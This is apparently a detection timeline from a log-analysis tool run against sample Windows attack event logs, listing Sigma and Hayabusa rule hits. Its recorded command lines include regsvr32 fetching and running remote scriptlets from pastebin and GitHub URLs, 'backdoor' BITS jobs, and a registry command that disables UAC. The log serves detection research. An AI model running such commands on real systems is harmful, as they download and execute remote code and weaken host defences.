ftp.exe,,rules/sigma/process_creation/win_susp_ftp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:49.458 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\system32\calc.exe : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\cmd.exe /C c:\Windows\system32\calc.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 03:04:50.121 +09:00,IEWIN7,59,informational,Bits Job Creation,Job Title: backdoor : URL: C:\Windows\system32\cmd.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_bitsadmin_Microsoft-Windows-Bits-Client-Operational.evtx +2019-05-13 03:35:05.155 +09:00,IEWIN7,1,informational,Process Creation,"Command: regsvr32.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:05.155 +09:00,IEWIN7,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:05.155 +09:00,IEWIN7,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:05.780 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: regsvr32.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:06.562 +09:00,IEWIN7,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:48:52.219 +09:00,IEWIN7,1,informational,Process Creation,"Command: jabber.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA .\jabber.dll : Path: C:\ProgramData\jabber.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_renamed_regsvr32_scrobj.evtx +2019-05-13 03:48:52.766 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: jabber.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA .\jabber.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_renamed_regsvr32_scrobj.evtx +2019-05-13 23:50:59.389 +09:00,IEWIN7,59,informational,Bits Job Creation,Job Title: hola : URL: C:\Windows\system32\cmd.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_bitsadmin_Microsoft-Windows-Bits-Client-Operational.evtx +2019-05-14 03:02:49.160 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\mobsync.exe -Embedding : Path: C:\Windows\System32\mobsync.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,informational,Process Creation,Command: /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,informational,Process Creation,Command: /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.895 +09:00,IEWIN7,1,informational,Process Creation,Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: /c notepad.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:21.212 +09:00,IEWIN7,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:05:18.692 +09:00,IEWIN7,1,informational,Process Creation,Command: wmiadap.exe /F /T /R : Path: C:\Windows\System32\wbem\WMIADAP.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\mshta.exe -Embedding : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,high,MSHTA Spwaned by SVCHOST,,rules/sigma/process_creation/win_lethalhta.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /groups : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /groups : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.143 +09:00,IEWIN7,1,informational,Process Creation,Command: consent.exe 968 288 03573528 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.453 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.453 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.470 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.470 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.487 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.487 +09:00,IEWIN7,1,informational,Process Creation,Command: consent.exe 968 312 0197CDB0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.487 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.814 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.831 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\sysprep\sysprep.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.831 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 23:04:05.697 +09:00,alice.insecurebank.local,11,high,Hijack Legit RDP Session to Move Laterally,,rules/sigma/file_event/sysmon_tsclient_filewrite_startup.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_tsclient_startup_folder.evtx +2019-05-15 02:17:26.440 +09:00,alice.insecurebank.local,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_sysmon_3_Invoke_UserHunter_SourceMachine.evtx +2019-05-15 02:17:26.738 +09:00,alice.insecurebank.local,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_sysmon_3_Invoke_UserHunter_SourceMachine.evtx +2019-05-15 13:18:40.474 +09:00,IEWIN7,13,high,Office Security Settings Changed,,rules/sigma/registry_event/sysmon_reg_office_security.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_sysmon_13_VBA_Security_AccessVBOM.evtx +2019-05-16 10:31:36.426 +09:00,DC1.insecurebank.local,1,informational,Process Creation,Command: C:\Windows\system32\WinrsHost.exe -Embedding : Path: C:\Windows\System32\winrshost.exe : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_winrm_exec_sysmon_1_winrshost.evtx +2019-05-16 10:31:36.454 +09:00,DC1.insecurebank.local,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe /C ipconfig : Path: C:\Windows\System32\cmd.exe : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\WinrsHost.exe -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_winrm_exec_sysmon_1_winrshost.evtx +2019-05-16 10:31:36.456 +09:00,DC1.insecurebank.local,1,informational,Process Creation,Command: ipconfig : Path: C:\Windows\System32\ipconfig.exe : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\cmd.exe /C ipconfig,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_winrm_exec_sysmon_1_winrshost.evtx +2019-05-16 10:38:19.630 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: Lateral Movement - Windows Remote Management : Command: ""C:\Windows\system32\HOSTNAME.EXE"" : Path: C:\Windows\System32\HOSTNAME.EXE : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\wsmprovhost.exe -Embedding",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_PowershellRemoting_sysmon_1_wsmprovhost.evtx +2019-05-16 10:38:19.630 +09:00,DC1.insecurebank.local,1,medium,Remote PowerShell Session Host Process (WinRM),,rules/sigma/process_creation/win_remote_powershell_session_process.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_PowershellRemoting_sysmon_1_wsmprovhost.evtx +2019-05-16 23:17:15.762 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1112,technique_name=Modify Registry : Command: reg add hklm\software\microsoft\windows\currentversion\policies\system /v EnableLUA /t REG_DWORD /d 0x0 /f : Path: C:\Windows\System32\reg.exe : User: insecurebank\Administrator : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/DE_UAC_Disabled_Sysmon_12_13.evtx +2019-05-17 01:08:34.867 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1015,technique_name=Accessibility Features : Command: ""C:\Windows\System32\osk.exe"" : Path: C:\Windows\System32\osk.exe : User: NT AUTHORITY\SYSTEM : Parent Command: utilman.exe /debug",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,high,Process Creation Sysmon Rule Alert,"Rule: technique_id=T1033,technique_name=System Owner/User Discovery : Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\System32\osk.exe"" ",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-17 01:08:40.360 +09:00,DC1.insecurebank.local,1,high,Whoami Execution Anomaly,,rules/sigma/process_creation/win_susp_whoami_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persistence_accessibility_features_osk_sysmon1.evtx +2019-05-19 02:16:08.348 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.176 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.176 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.208 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.208 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.223 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.223 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.255 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.255 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.270 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.270 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.286 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.286 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.317 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.317 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.333 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.333 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.348 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.348 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.364 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.364 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.380 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.380 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.395 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.395 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.411 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.411 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.426 